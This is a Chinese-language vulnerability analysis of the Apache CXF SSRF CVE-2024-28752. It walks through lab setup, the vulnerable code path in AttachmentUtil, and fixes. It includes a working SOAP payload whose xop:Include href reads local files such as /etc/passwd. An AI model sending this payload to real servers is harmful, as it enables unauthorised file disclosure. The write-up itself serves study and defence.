Apache CXF SSRF(CVE-2024-28752)漏洞分析
字数 1496 2025-12-04 12:12:06
Apache CXF SSRF漏洞分析(CVE-2024-28752)教学文档
漏洞概述
CVE-2024-28752是Apache CXF框架中存在的一个服务器端请求伪造(SSRF)漏洞。该漏洞仅影响使用Aegis DataBinding的情况,其他数据绑定方式(包括默认数据绑定)不受影响。
Apache CXF是一个开源的WebService框架,用于构建和开发WebService,支持多种协议。2024年3月15日,官方发布安全公告披露此漏洞。
环境搭建
方法一:使用Vulhub环境
# 获取Vulhub环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apache-cxf/CVE-2024-28752
# 启动环境
docker-compose up -d
方法二:使用官方示例项目
从Apache CXF官方GitHub仓库获取示例项目:
git clone https://github.com/apache/cxf.git
cd cxf/distribution/src/main/release/samples/java_first_jaxws_factory_bean
漏洞分析
攻击Payload
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
<soapenv:Header/>
<soapenv:Body>
<web:test>
<arg0>
<count>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///C:/flag"/>
</count>
</arg0>
</web:test>
</soapenv:Body>
</soapenv:Envelope>
关键组件说明
- SOAP Envelope: 标准的SOAP消息结构
- xop:Include: XOP(XML-binary Optimized Packaging)结构,用于在XML中引入外部二进制内容
- href属性: 指定要读取的外部资源URL
漏洞触发流程
1. 入口点:AbstractHTTPDestination#invoke
- 负责获取HTTP请求并进行包装
- 将请求交给拦截器链处理
2. 关键方法:MTOMDecorator#startElement
public void startElement(TagName tagName) throws SAXException {
if (tagName.local.equals("Include") && tagName.uri.equals("http://www.w3.org/2004/08/xop/include")) {
String href = tagName.atts.getValue("href");
DataHandler attachment = this.au.getAttachmentAsDataHandler(href);
if (attachment == null) {
this.parent.getEventHandler().handleEvent((ValidationEvent)null);
}
this.base64data.set(attachment);
this.next.text(this.base64data);
this.inXopInclude = true;
this.followXop = true;
} else {
this.next.startElement(tagName);
}
}
3. 数据处理:AttachmentUtil.getAttachmentDataSource
public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
if (contentId.startsWith("cid:")) {
try {
contentId = URLDecoder.decode(contentId.substring(4), StandardCharsets.UTF_8.name());
} catch (UnsupportedEncodingException var3) {
contentId = contentId.substring(4);
}
return loadDataSource(contentId, atts);
} else if (contentId.indexOf("://") == -1) {
return loadDataSource(contentId, atts);
} else {
try {
return new URLDataSource(new URL(contentId));
} catch (MalformedURLException var4) {
MalformedURLException e = var4;
throw new Fault(e);
}
}
}
4. 文件读取:Base64Data类
- 负责实际的文件读取和Base64编码操作
- 关键方法:
set()方法处理数据设置
漏洞原理
- 当解析包含
xop:Include元素的SOAP请求时,框架会提取href属性值 - 通过
getAttachmentAsDataHandler()方法处理URL - 在
getAttachmentDataSource()方法中,检测到URL包含://时,直接创建URLDataSource对象 Base64Data类随后读取该URL指向的资源并进行Base64编码- 编码后的数据通过响应返回给攻击者
漏洞复现
步骤
- 搭建存在漏洞的Apache CXF环境
- 构造包含恶意
xop:Include元素的SOAP请求 - 发送请求到目标服务端点
- 查看响应中返回的Base64编码文件内容
预期结果
- 成功读取服务器本地文件(如
/etc/passwd或C:/flag) - 文件内容以Base64编码形式出现在响应中
漏洞修复
修复方案
官方主要修复了AttachmentUtil类中创建URLDataSource的逻辑:
- 添加URL验证: 对传入的URL进行严格验证
- 限制协议类型: 只允许安全的协议(如http、https)
- 实施白名单机制: 对可访问的域名或IP进行限制
修复建议
- 升级到已修复的安全版本
- 如无法立即升级,可考虑禁用Aegis DataBinding
- 使用Web应用防火墙(WAF)过滤恶意SOAP请求
影响范围
- 受影响版本: 使用Aegis DataBinding的Apache CXF版本
- 不受影响: 使用其他数据绑定方式的CXF部署
防护措施
- 及时更新Apache CXF到安全版本
- 避免在生产环境使用Aegis DataBinding
- 实施输入验证,过滤恶意XOP包含请求
- 配置网络隔离,限制应用服务器出站连接
总结
CVE-2024-28752漏洞利用了Apache CXF框架在处理XOP包含时的缺陷,通过精心构造的SOAP请求实现SSRF攻击。理解该漏洞的触发机制和修复方案对于确保WebService安全至关重要。